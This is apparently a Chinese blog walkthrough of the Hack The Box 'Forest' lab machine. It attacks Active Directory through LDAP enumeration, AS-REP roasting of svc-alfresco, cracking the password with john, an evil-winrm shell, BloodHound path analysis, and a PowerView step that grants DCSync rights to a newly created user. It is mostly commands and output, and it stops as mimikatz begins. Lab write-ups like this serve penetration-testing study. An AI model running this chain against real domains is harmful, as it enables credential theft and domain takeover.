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
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概述 (Overview)




这是一个超级棒的机器，真心建议学习 **Active Directory** 攻击的一定要去做一做该题，超级推荐~

- MACHINE TAGS
 - Kerberoasting

- Powershell
- Active Directory
- Windows

攻击链（Kiillchain）



TTPs（Tactics, Techniques & Procedures）

- nmap
- impacket
- Kerberos
- go-windapsearch
- john
- PowerView

阶段1：枚举

阶段1.1：端口服务枚举

老规矩，依然是通过 nmap 对目标服务器进行开发端口枚举和服务识别：

1	PORT	STATE	SERVICE	VERSION
2	53/tcp	open	domain	Simple DNS Plus
3	88/tcp	open	kerberos-sec	Microsoft Windows Kerberos (server time: 2021-07-03 07:23:5
4	135/tcp	open	msrpc	Microsoft Windows RPC
5	139/tcp	open	netbios-ssn	Microsoft Windows netbios-ssn
6	389/tcp	open	ldap	Microsoft Windows Active Directory LDAP (Domain: htb.local,
7	445/tcp	open	microsoft-ds	Windows Server 2016 Standard 14393 microsoft-ds (workgroup:
8	464/tcp	open	kpasswd5?	
9	593/tcp	open	ncacn_http	Microsoft Windows RPC over HTTP 1.0
10	636/tcp	open	tcpwrapped	
11	3268/tcp	open	ldap	Microsoft Windows Active Directory LDAP (Domain: htb.local,
12	3269/tcp	open	tcpwrapped	
13	5985/tcp	open	http	Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
14	_http-server-header: Microsoft-HTTPAPI/2.0			
15	_http-title: Not Found			

可以获悉到系统是 **Windows Server 2016**，存在DNS，存在 **Kerberos** 服务，存在 smb 共享服务，存在远程RPC服务。综合来看这个是 **Active Directory** 攻击的题目了。

- Domain: htb.local
- workgroup: HTB

阶段1.2: Kerberos用户枚举

尝试枚举 Kerberos 服务信息，通过 nmap 脚本去枚举服务存在哪些用户：

```
$ nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='HTB.LOCAL'" 10.10.10.161
```

```
(root@kali)-[/home/kali/hackthebox/Forest/nmap]
# nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='HTB.LOCAL'" 10.10.10.161
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-03 04:44 EDT
Nmap scan report for 10.10.10.161
Host is up (0.094s latency).

PORT      STATE SERVICE
88/tcp    open  kerberos-sec
| krb5-enum-users:
|   Discovered Kerberos principals
|_    administrator@HTB.LOCAL

Nmap done: 1 IP address (1 host up) scanned in 1.14 seconds
```

可以看到默认字典只存在一个 **administrator**，尝试加入用户字典进行二次枚举：

```
$ nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='HTB.LOCAL'",userdb=/usr/share/seclists/Usernames/Names/names.txt 10.10.10.161
```

```
1 PORT      STATE SERVICE
2 88/tcp    open  kerberos-sec
3 | krb5-enum-users:
4 | Discovered Kerberos principals
5 |   sebastien@HTB.LOCAL
6 |   forest@HTB.LOCAL
7 |   lucinda@HTB.LOCAL
8 |   mark@HTB.LOCAL
9 |_  andy@HTB.LOCAL
```

除此脚本外，还可以尝试其他的脚本：

- smb-enum-users.nse - 借助脚本获取域用户信息
- smb-enum-domains.nse - 借助脚本对域控制器信息进行收集

阶段1.3: LDAP服务枚举

接下来尝试下枚举 LDAP 服务，查看是否存在可利用的脆弱点：

LDAP概念和原理介绍 - <https://www.cnblogs.com/wilburxu/p/9174353.html>

kali下我们可以用ldapsearch这款工具，用于 ldap 服务搜索允许的匿名查询。

```
1 $ ldapsearch -h 10.10.10.161 -p 389 -x -b 'dc=htb,dc=local' > ../file/ldapsearch.txt
2 * -h hostname
```

```
3 * -p 端口
4 * -x 使用简单认证方式
5 * -b 指定要查询的根节点
6 * -s 搜索的范围 base, one, sub, or children, one-level, subtree, or children search. 默认是
```

验证完存在匿名查询后，就可以查询所有域用户：

```
1 $ ldapsearch -h 10.10.10.161 -p 389 -x -b 'dc=htb,dc=local' "(&(objectClass=user)(objectClass=group)"
2 cn: Guest
3 cn: DefaultAccount
4 cn: Exchange Online-ApplicationAccount
5 ...省略...
6 cn: Sebastien Caron
7 cn: Lucinda Berger
8 cn: Andy Hislip
9 cn: Mark Brandt
10 cn: Santi Rodriguez
```

查询该域用存在的所有计算机：

```
1 # ldapsearch -h 10.10.10.161 -p 389 -x -b 'dc=htb,dc=local' "(&(objectCategory=computer))"
2 cn: FOREST
3 cn: EXCH01
```

查询该域中的所有组：

```
1 # ldapsearch -h 10.10.10.161 -p 389 -x -b 'dc=htb,dc=local' "(&(objectCategory=group))"
2 cn: Users
3 cn: Guests
4 ...省略...
```

这里我们需要了解下域服务中的一些组信息，这样能方便筛选重要的目标用户：

```
1 内建组：
2 Account Operators（账户操作员）：该组的成员能操作用户管理员所属域的账号和组，并可设置其权限。但是该组成员不能操作域中的资源。
3 Administrators（管理员）：该组的成员可以完全不受限制地存取计算机/域的资源，是最具权力的一个组。通常，Administrators组是域中最具权力的组。
4 Backup Operators：该组的成员可使用Windows备份工具来进行备份/还原工作。
5 Guests：该组的成员只能享有管理员授予的权限以及存取指定权限的资源。通常，Guest账户与Domain Guest都是该组的成员。
6 Printer Operators：该组的成员可以管理网络打印机，包括建立、管理以及删除网络打印机。
7 Replicator：该组的成员支持域中的文件复写，可启动目录复制程序进行目录复制。
```

- 8 Server Operators: 该组的成员可以管理域服务器, 包括: 建立/管理/删除任何服务器的共享目录、管理网络打印机。
- 9 Users: 该组的成员只可以执行得到授权的应用程序, 而且不可执行大部分的继承应用程序。
- 10
- 11 通用组:
- 12 Domain Admins: 该组可以代表具有操作域权力的用户, 通常, Domain Admins会属于Administrators组, 因此该
- 13 Domain Guests: 所有域来宾, Windows2000会自动将Guest用户账户加至该组, 并将该组加至内建域Guests组中。
- 14 Domain Users: 所有域的成员, 在预设的情况下, 任何我们所建立的用户账户都会是Domain Users组的成员, 而任何

在寻找工具时, 发现一个 `windapsearch.py` 但是太老还依赖python, 就用了款较新的: go-windapsearch (<https://github.com/ropnop/go-windapsearch>)

获取用户信息:

```
(root@kali) [/home/kali/hackthebox/Forest/file]
# ./windapsearch-linux-amd64 -d 10.10.10.161 -m users | grep userPrincipalName:
userPrincipalName: SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@htb.local
userPrincipalName: SystemMailbox{e0dc1c29-89c3-4034-b678-e6c29d823ed9}@htb.local
userPrincipalName: Exchange_Online-ApplicationAccount@htb.local
userPrincipalName: SystemMailbox{1f05a927-89c0-4725-adca-4527114196a1}@htb.local
userPrincipalName: DiscoverySearchMailbox {D919BA05-46A6-415f-80AD-7E093348B852}@htb.local
userPrincipalName: SystemMailbox{8cc370d3-822a-4ab8-a926-bb94bd0641a9}@htb.local
userPrincipalName: HealthMailboxc3d7722415ad41a5b19e3e00e165edbe@htb.local
userPrincipalName: Migration.8f3e7716-2011-43e4-96b1-aba62d229136@htb.local
userPrincipalName: FederatedEmail.4c1f4d8b-8179-4148-93bf-00a95fa1e042@htb.local
userPrincipalName: SystemMailbox{D0E409A0-AF9B-4720-92FE-AAC869B0D201}@htb.local
userPrincipalName: SystemMailbox{2CE34405-31BE-455D-89D7-A7C7DA7A0DAA}@htb.local
userPrincipalName: HealthMailboxfc9daad117b84fe08b081886bd8a5a50@htb.local
userPrincipalName: HealthMailbox83d6781be36b4bbf8893b03c2ee379ab@htb.local
userPrincipalName: HealthMailboxfd87238e536e49e08738480d300e3772@htb.local
userPrincipalName: HealthMailboxc0a90c97d4994429b15003d6a518f3f5@htb.local
userPrincipalName: HealthMailbox670628ec4dd64321acfd6e67db3a2d8@htb.local
userPrincipalName: HealthMailbox968e74dd3edb414cb4018376e7dd95ba@htb.local
userPrincipalName: HealthMailbox6ded67848a234577a1756e072081d01f@htb.local
userPrincipalName: HealthMailboxb01ac647a64648d2a5fa21df27058a24@htb.local
userPrincipalName: andy@htb.local
userPrincipalName: mark@htb.local
userPrincipalName: HealthMailbox7108a4e350f84b32a7a90d8e718f78cf@htb.local
userPrincipalName: lucinda@htb.local
userPrincipalName: santi@htb.local
userPrincipalName: sebastien@htb.local
userPrincipalName: HealthMailbox0659cc188f4c4f9f978f6c2142c4181e@htb.local
```

获取计算机信息:

```
(root@kali) [/home/kali/hackthebox/Forest/file]
# ./windapsearch-linux-amd64 -d 10.10.10.161 -m computers
dn: CN=FOREST,OU=Domain Controllers,DC=htb,DC=local
cn: FOREST
operatingSystem: Windows Server 2016 Standard
operatingSystemVersion: 10.0 (14393)
DNSHostName: FOREST.htb.local

dn: CN=EXCH01,CN=Computers,DC=htb,DC=local
cn: EXCH01
operatingSystem: Windows Server 2016 Standard
operatingSystemVersion: 10.0 (14393)
DNSHostName: EXCH01.htb.local
```

搜索允许无约束委派的 LDAP 对象:

```
(root@kali) [/home/kali/hackthebox/Forest/file]
# ./windapsearch-linux-amd64 -d 10.10.10.161 -m unconstrained
dn: CN=FOREST,OU=Domain Controllers,DC=htb,DC=local
cn: FOREST
sAMAccountName: FOREST$
```


好了，前置信息收集完了后面应该怎么办呢？我去翻了下 **PWK 2.0** 的PDF、《内网攻防渗透测试指南》，它们都是讲怎么在Win下进行信息收集和攻击的，难道我为了以后的做题还得去装个Win虚拟机吗？用冬瓜强的话来讲：Windows？Dog都不用.. 哈哈哈哈哈开个玩笑

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阶段2：工具和利用

阶段2.1：寻找脆弱用户

首先尝试通过密码重置时间去寻找存活账号，并尝试密码字典爆破。

运行自定义 LDAP 语法过滤器： `# ./windapsearch-linux-amd64 -d 10.10.10.161 -m custom -filter "(objectClass=*)" --attrs pwdLastSet -j | jq | grep -B 2 pwdLastSet`

```
{
  "dn": "CN=yt,CN=Users,DC=htb,DC=local",
  "pwdLastSet": "2021-07-03T11:38:10.9773889-04:00"
}
{
  "dn": "CN=SystemMailbox{1f05a927-89c0-4725-adca-4527114196a1},CN=Users,DC=htb,DC=lo
  "pwdLastSet": "0"
}
{
  "dn": "CN=Guest,CN=Users,DC=htb,DC=local",
  "pwdLastSet": "0"
}
{
  "dn": "CN=DefaultAccount,CN=Users,DC=htb,DC=local",
  "pwdLastSet": "0"
}
{
  "dn": "CN=DiscoverySearchMailbox {D919BA05-46A6-415f-80AD-7E09334BB852},CN=Users,DC
  "pwdLastSet": "0"
}
{
  "dn": "CN=EXCH01,CN=Computers,DC=htb,DC=local",
  "pwdLastSet": "2019-09-18T07:06:32.6408753-04:00"
}
{
  "dn": "CN=FOREST,OU=Domain Controllers,DC=htb,DC=local",
  "pwdLastSet": "2021-07-03T08:35:39.485964-04:00"
}
{
```

Ps: 这里出现的 yt 用户，应该是通一时间做题的其他人创建的。

随后对过滤好的用户名进行登录密码爆破，可惜都失败了。

```
(root@kali)-[/home/kali/hackthebox/Forest/file]
# cat users.txt
sebastien
forest
lucinda
mark
andy
administrator

(root@kali)-[/home/kali/hackthebox/Forest/file]
# vim users.txt

(root@kali)-[/home/kali/hackthebox/Forest/file]
# ls
ldapsearch.txt  users.txt  windapsearch-linux-amd64

(root@kali)-[/home/kali/hackthebox/Forest/file]
# crackmapexec smb 10.10.10.161 -u ./users.txt -p /usr/share/seclists/Passwords/darkweb2017-top10.txt
SMB 10.10.10.161 445 FOREST [*] Windows Server 2016 Standard 14393 x64 (name:FOREST)
SMB 10.10.10.161 445 FOREST [-] htb.local\sebastien:123456 STATUS_LOGON_FAILURE
SMB 10.10.10.161 445 FOREST [-] htb.local\sebastien:123456789 STATUS_LOGON_FAILURE
SMB 10.10.10.161 445 FOREST [-] htb.local\sebastien:111111 STATUS_LOGON_FAILURE
SMB 10.10.10.161 445 FOREST [-] htb.local\sebastien:password STATUS_LOGON_FAILURE
SMB 10.10.10.161 445 FOREST [-] htb.local\sebastien:qwerty STATUS_LOGON_FAILURE
SMB 10.10.10.161 445 FOREST [-] htb.local\sebastien:abc123 STATUS_LOGON_FAILURE
SMB 10.10.10.161 445 FOREST [-] htb.local\sebastien:12345678 STATUS_LOGON_FAILURE
SMB 10.10.10.161 445 FOREST [-] htb.local\sebastien:password1 STATUS_LOGON_FAILURE
```

在这停顿了几个小时，怀疑是获取的信息不够全，尝试获取所有信息然后再进行筛选：

```
./windapsearch-linux-amd64 -d 10.10.10.161 -m custom --filter "(objectClass=*)"
| grep -a 'dn: CN=' | awk -F ',' '{print $1}' | awk -F '=' '{print $2}'
| sort | uniq
```

```
(root@kali)-[/home/kali/hackthebox/Forest/file]
# ./windapsearch-linux-amd64 -d 10.10.10.161 -m custom --filter "(objectClass=*)" | grep -a 'dn: CN=' | awk -F ',' '{print $1}' | awk -F '=' '{print $2}'
| sort | uniq
0b7fb422-3609-4587-8c2e-94b10f67d1bf
0e660ea3-8a5e-4495-9ad7-ca1bd4638f9e
10b3ad2a-6883-4fa7-90fc-6377cbdc1b26
13d15cf0-e6c8-11d6-9793-00c04f613221
231fb90b-c92a-40c9-9379-bacfc313a3e3
2416c60a-fe15-4d7a-a61e-dffd5df864d3
293f0798-ea5c-4455-9f5d-45f33a30703b
2951353e-d102-4ea5-906c-54247eeec741
3051c66f-b332-4a73-9a20-2d6a7d6e6a1c
{31B2F340-0160-11D2-945F-00C04FB984F9}
3a6b3fbf-3168-4312-a10d-dd5b3393952d
```

正则过滤上面无效信息 `grep -E '^[a-z].*'`，得到有效用户：

- 1 krbtgt
- 2 svc-alfresco

阶段2.2: Kerberoasting 攻击

使用 `impacket-GetUserSPNs` 匿名查询下域内帐户的 SPN（可参考 <https://hackergu.com/kerberos-sec-spn-search/>）标识：

```
(root@kali)-[/home/kali/hackthebox/Forest/file]
# cat users2.txt | xargs -I impacket-GetUserSPNs -request -dc-ip 10.10.10.161 htb.local/{ } -no-pass
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[-] Error in bindRequest -> invalidCredentials: 8009030C: LdapErr: DSID-0C0906A1, comment: AcceptSecurityContext error, data 52e, v3839
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[-] Error in bindRequest -> invalidCredentials: 8009030C: LdapErr: DSID-0C0906A1, comment: AcceptSecurityContext error, data 52e, v3839
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[-] Error in bindRequest -> invalidCredentials: 8009030C: LdapErr: DSID-0C0906A1, comment: AcceptSecurityContext error, data 52e, v3839
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[-] Error in bindRequest -> invalidCredentials: 8009030C: LdapErr: DSID-0C0906A1, comment: AcceptSecurityContext error, data 52e, v3839
```

失败了，改为使用 `GetNPUsers` 来查询域控中不需要Kerberos预认证的用户：

```
(root@kali)-[/home/kali/hackthebox/Forest/file]
# cat users2.txt |xargs -I {} impacket-GetNPUsers -request -dc-ip 10.10.10.161 htb.local/{ } -no-pass
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Getting TGT for krbtgt
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Getting TGT for svc-alfresco
$krb5asrep$23$svc-alfresco@HTB.LOCAL:97f0f5f14c71e7f17e85a85b5af62d8e$404e75c0ad6c7022719661b5c6ec532c40205b838b7e835a8d1c41a358f85ce826e43544b4e1cc8358777d1063b6cb600c95f898396e3da490b7553c0066bc42365680830c375d9a9360948a467f93f6e5c3582ea5aeddb333461166ef6a79a6623bd5da4ad74893dc7eef199732b5bd8c1924037f41a29b4e77bb25287a409f26dc5b7ae9c16048c775c46b0d3b7a772ce75876e49493b2913b70215425fc72b94aea2f88dd5156dc644673ecb8ae9f18a2d3121ff3a77d850951f3da16f47d6498dc5aebd068088209c9a200551e4738ad7b08fc75859e4924a10b960abed638140a46ec7
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Getting TGT for test
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Getting TGT for yt
[-] User yt doesn't have UF_DONT_REQUIRE_PREAUTH set
```

OK, 发现了 svc-alfresco 用户的TGT票据。

- 1 [*] Getting TGT for svc-alfresco
- 2 \$krb5asrep\$23\$svc-alfresco@HTB.LOCAL:97f0f5f14c71e7f17e85a85b5af62d8e\$404e75c0ad6c702271

尝试用 john 对 TGT 进行解密，看能否还原明文密码。

```
(root@kali)-[/home/kali/hackthebox/Forest/file]
# john --wordlist=/usr/share/wordlists/rockyou.txt ./krb5asrep
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
s3rvice ($krb5asrep$23$svc-alfresco@HTB.LOCAL)
1g 0:00:00:05 DONE (2021-07-03 14:00) 0.1739g/s 710566p/s 710566c/s 710566C/s s4
Use the "--show" option to display all of the cracked passwords reliably
Session completed

(root@kali)-[/home/kali/hackthebox/Forest/file]
# john --wordlist=/usr/share/wordlists/rockyou.txt ./krb5asrep --show
Invalid options combination or duplicate option: "--show"

(root@kali)-[/home/kali/hackthebox/Forest/file]
# john --show
Password files required, but none specified

(root@kali)-[/home/kali/hackthebox/Forest/file]
# john ./krb5asrep --show
$krb5asrep$23$svc-alfresco@HTB.LOCAL:s3rvice

1 password hash cracked, 0 left
```

成功得到明文： `$krb5asrep$23$svc-alfresco@HTB.LOCAL:s3rvice`，通过 crackmapexec 验证密码是有效的。

```
(root@kali)-[/home/kali/hackthebox/Forest/file]
# crackmapexec smb 10.10.10.161 -u svc-alfresco -p 's3rvice'
SMB 10.10.10.161 445 FOREST [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
SMB 10.10.10.161 445 FOREST [+] htb.local\svc-alfresco:s3rvice
```

使用 WinRM 获取与用户shell：

WinRM是WindowsRemoteManagementd (win远程管理) 的简称，默认端口5985, 5986，kali默认没有安装需要自己安装一下 `gem install evil-winrm`


```
(root@kali)-[/home/kali/hackthebox/Forest/file]
# evil-winrm -i 10.10.10.161 -u svc-alfresco -p 's3rvice'

Evil-WinRM shell v2.4

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> [work] 1:zsh 2:ruby2 7*7
```

```
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> whoami /priv

PRIVILEGES INFORMATION
-----
Privilege Name            Description                State
-----
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege  Bypass traverse checking   Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents>
```

```
1 cmd > whoami
2 htb\svc-alfresco
```

成功得到 user flag。

阶段3：权限提升

阶段3.1 使用Bloodhound分析攻击路径


传递 `./winPEASany.exe` 去分析了下，发现就一个 `Looking for common SAM & SYSTEM backups` 可以关注下，但尝试 `copy` 时发现没有权限，所以还是得研究攻击域。

进行域攻击的话，不得不提起一款非常牛逼的图形化分析工具 `bloodhound`，它在kali里默认也是没有安装的，需要手动安装下：`apt install bloodhound`


安装参考：<https://rootsecdev.medium.com/bloodhound-part-1-a-walkthrough-in-lateral-movements-and-paths-to-domain-admin-870dd05abde6>


BloodHound 是一款将 **Active Directory** 环境可视化为图形的工具。然后，通过提供图形串联的关系来解开新的攻击路径。

安装完成后我们来启动它：



首次启动的话我们需要通过浏览器进入数据页面，新建一个数据库后才能够通过工具进行连接。





上述操作完成后说明 bloodhound 的服务端已经启动完成了，接下来传递客户端至目标服务器上进行 Active Directory 信息收集：

- <https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors>
- <https://github.com/XMCyber/MacHound>

也可以在kali里搜索：

```
(root@kali)~# find ../ -iname '*SharpHound.exe*'
find: '../run/user/1000/gvfs': 权限不够
../usr/lib/bloodhound/resources/app/Collectors/DebugBuilds/SharpHound.exe
../usr/lib/bloodhound/resources/app/Collectors/SharpHound.exe
../usr/share/metasploit-framework/data/post/SharpHound.exe
^C
```

如果不获得服务器shell但想获的域详情，则需要用到：`bloodhound-python`，安装：`pip install bloodhound`。

我这里传递信息收集脚本，执行后将生成的压缩包传递回kali：

```
.*Evil-WinRM* PS C:\Users\svc-alfresco\Downloads> ./SharpHound.exe
Initializing SharpHound at 11:52 PM on 7/3/2021


Resolved Collection Methods: Group, Sessions, Trusts, ACL, ObjectProps, LocalGroups, SPNTargets, Container

[+] Creating Schema map for domain HTB.LOCAL using path CN=Schema,CN=Configuration,DC=htb,DC=local
[+] Cache File not Found: 0 Objects in cache


[+] Pre-populating Domain Controller SIDS
Status: 0 objects finished (+0) -- Using 21 MB RAM
Status: 123 objects finished (+123 61.5)/s -- Using 28 MB RAM
Enumeration finished in 00:00:02.7073916
Compressing data to .\20210703235230_BloodHound.zip
You can upload this file directly to the UI

SharpHound Enumeration Completed at 11:52 PM on 7/3/2021! Happy Graphing!
```

在kali中将压缩包直接拖拽到工具中即可，待数据全部导入后就可以进一步分析：




首选查看下 **svc-alfresco** 用户关联数据：



点击 **Reachable High Value Targets**（可达到的高价值目标），帮助获取攻击链：

SVC-ALFRESCO@HTB.LOCAL	
Database Info	Node Info
Analysis	
SVC-ALFRESCO@HTB.LOCAL	
OVERVIEW	
Sessions	0
Sibling Objects in the Same OU	1
Reachable High Value Targets	9
Effective Inbound GPOs	1
See user within Domain/OU Tree	



Active Directory 安全组：<https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups>

根据查询阅读文档，Account Operators 组的成员可以创建和修改用户并将其添加到不受保护的组中。

ACCOUNT OPERATORS@HTB.LOCAL：成员可以管理域用户和组帐户

EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL：其成员有权读取和修改所有 Windows 帐户和组。

图中的关联标注：

- WriteDACL: EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL 组的成员有权修改域 HTB.LOCAL 上的 DACL (自由访问控制列表)。如果将 WriteDACL 滥用域对象，您可以授予自己 DcSync 权限。
- GenericAll: ACCOUNT OPERATORS@HTB.LOCAL 组的成员对 EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL 组具有 GenericAll 权限。
- MemberOf: PRIVILEGED IT ACCOUNTS@HTB.LOCAL 组是 ACCOUNT OPERATORS@HTB.LOCAL 组的成员。
- Contains: 域 HTB.LOCAL 包含用户 ADMINISTRATOR@HTB.LOCAL。
- CanPSRemote: PRIVILEGED IT ACCOUNTS@HTB.LOCAL 组的成员能够创建与计算机 FOREST.HTB.LOCAL 的 PSRemote 连接。
- GenericWrite: ENTERPRISE ADMINS@HTB.LOCAL 组的成员具有对 PRINT OPERATORS@HTB.LOCAL 组的通用写访问权限。

关于图标的解释：绿色用户头像=用户、三个黄色头像=用户在、红色小电脑=计算机、绿色小地球=域

- 1 这里又了解到一个新的名词：**ACE滥用**，以及出现的场景
- 2 ForceChangePassword (强制更改密码)：能够在不知道当前密码的情况下更改目标用户的密码。滥用方法：Set-Do
- 3 AddMembers (添加成员)：将任意用户，组或计算机添加到目标组。滥用方法：Add-DomainGroupMember。
- 4 GenericAll: 所有对象控制，包括将其他主体添加到组，在不知道当前密码的情况下更改用户密码，使用用户对象注册
- 5 GenericWrite: 更新任何未受保护的目標对象的参数值。例如，更新目标用户对象上的“scriptPath”参数值，可以使
- 6 WriteOwner: 更新目标对象所有者。一旦对象所有者已被更改为攻击者控制的主体，那么攻击者就可以用任何他们认为
- 7 WriteDACL: 将新的ACE写入目标对象的DACL。例如，攻击者可能会向目标对象的DACL写入新的ACE，使攻击者“完全控
- 8 AllExtendedRights: 执行与对象的扩展Active Directory权限相关联的任何操作。例如，将主体添加到组并强制

所以这里的逻辑是，用户 `svc-alfresco` 是 `Account Operators` 组的成员，`svc-alfresco` 用户对 `EXCHANGE WINDOWS PERMISSIONS` 组有完全控制（GenericAll）权限，`svc-alfresco` 用户可以修改域 `HTB.LOCAL` 的访问控制列表。

阶段3.2 使用PowerView赋予DCSync权限

所以按照域链需要将用户添加到该组并授予他 DCSync 权限，尝试将账号添加到域 `Account Operators` 成员中：

```
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net user 0x584a .qwer123 /add /domain
The command completed successfully.

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net user


User accounts for \\

$331000-VK4ADACQNUCA      0x584a      Administrator
andy                      DefaultAccount      Guest
HealthMailbox0659cc1      HealthMailbox670628e      HealthMailbox6ded678
HealthMailbox7108a4e      HealthMailbox83d6781      HealthMailbox968e74d
HealthMailboxb01ac64      HealthMailboxc0a90c9      HealthMailboxc3d7722
HealthMailboxfc9daad      HealthMailboxfd87238      krbtgt
lucinda                   mark            santi
sebastien                 SM_1b41c9286325456bb      SM_1ffab36a2f5f479cb
SM_2c8eef0a09b545acb      SM_681f53d4942840e18      SM_75a538d3025e4db9a
SM_7c96b981967141ebb      SM_9b69f1b9d2cc45549      SM_c75ee099d0a64c91b
SM_ca8c2ed5bdab4dc9b      svc-alfresco
The command completed with one or more errors.
```


因为 `EXCHANGE WINDOWS PERMISSIONS` 是本地的组，非域，所以这里将其添加至本地组中：

```
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "EXCHANGE WINDOWS PERMISSIONS" 0x584a /add
The command completed successfully.
```

在对图中链接线右键，会看到 `Help` 选项，点击后会显示利用方式：



查看 `Abuse info` 标签：



根据标签内的提示信息，尝试上传 `/usr/share/windows-resources/powersploit/Recon/PowerView.ps1` 至目标服务器，进行用户的 `DcSync` 权限提升。

```
1 PS C:\Users\svc-alfresco\Downloads> net user 0x584a Password123! /add /domain
2 The command completed successfully.
3 PS C:\Users\svc-alfresco\Downloads> $SecPassword = ConvertTo-SecureString 'Password123!'
4 PS C:\Users\svc-alfresco\Downloads> $Cred = New-Object System.Management.Automation.PSCr
```

```
*Evil-WinRM* PS C:\Users\svc-alfresco\Downloads> . ./PowerView.ps1
*Evil-WinRM* PS C:\Users\svc-alfresco\Downloads> $pass = ConvertTo-SecureString 'qwer123' -AsPlainText -Force
*Evil-WinRM* PS C:\Users\svc-alfresco\Downloads> $Cred = New-Object System.Management.Automation.PSCredential('htb\0x584a', $pass)
*Evil-WinRM* PS C:\Users\svc-alfresco\Downloads> Add-DomainObjectAcl -TargetIdentity htb -PrincipalIdentity 0x584a -Rights DcSync -Verbose
Verbose: [Get-DomainSearcher] search base: LDAP://DC=htb,DC=local
Verbose: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=0x584a)(name=0x584a)(displayname=0x584a))))
Verbose: [Get-DomainSearcher] search base: LDAP://DC=htb,DC=local
Verbose: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=htb)(name=htb)(displayname=htb))))
Verbose: [Add-DomainObjectAcl] Granting principal CN=0x584a,CN=Users,DC=htb,DC=local 'DcSync' on DC=htb,DC=local
Verbose: [Add-DomainObjectAcl] Granting principal CN=0x584a,CN=Users,DC=htb,DC=local rights GUID '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2' on DC=htb,DC=local
Verbose: [Add-DomainObjectAcl] Error granting principal CN=0x584a,CN=Users,DC=htb,DC=local 'DcSync' on DC=htb,DC=local : Exception calling "CommitChanges" with "0" argument(s): "Access is denied."
```

前面都挺顺利的，当进行最后一条命令执行时出现了错误。运行的时候提示没有 `Add-DomainObjectAcl` 方法，然后就去下载了最新的版本：

<https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1>

但加载完 PowerView 运行 `Add-DomainObjectAcl -Credential $Cred -TargetIdentity htb.local\0x584a -Rights DcSync`，还是存在问题。命令行卡住了，什么也不显示。

在 <https://burmat.gitbook.io/security/hacking/domain-exploitation> 找到新的参数：`Add-DomainObjectAcl -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity 0x584a -Rights DcSync`

```
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> $Cred = New-Object System.Management.Automation.PSCredential('htb.local\0x584a', $SecPassword)
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Add-DomainObjectAcl -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity 0x584a -Rights DcSync
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents>
work] 1:zsh* 2:zsh-
```


复盘时发现 ipsec 用的dev分支: `git clone https://github.com/PowerShellMafia/PowerSploit.git -b dev`, 原来的 `Add-DomainObjectAcl` 方法改为了 `Add-ObjectAcl` 方法。

将用户加入本地的 `Remote Management Users` 组中, 后续就可以通过RPC进行登录了。

```
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net localgroup 'Remote Management Users' 0x584a /add
The command completed successfully.
```

```
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net user 0x584a /domain
User name                0x584a
Full Name
Comment
User's comment
Country/region code      000 (System Default)
Account active            Yes
Account expires           Never

Password last set        7/5/2021 7:18:47 AM
Password expires         8/16/2021 7:18:47 AM
Password changeable      7/6/2021 7:18:47 AM
Password required        Yes
User may change password Yes

Workstations allowed     All
Logon script
User profile
Home directory
Last logon               7/5/2021 7:23:53 AM

Logon hours allowed      All

Local Group Memberships  *Remote Management Use
Global Group memberships *Exchange Windows Perm*Domain Users
The command completed successfully.
```

此时我尝试性的使用了下 mimikatzd, 但并没有什么用。

```
*Evil-WinRM* PS C:\Users\0x584a\Documents> cat mimikatz.txt

.#####.  mimikatz 2.2.0 (x64) #19041 Jul  4 2021 22:29:55
.## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
## / \ ##  /** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ##   > https://blog.gentilkiwi.com/mimikatz
'## v #'    Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####'   > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # privilege::debug
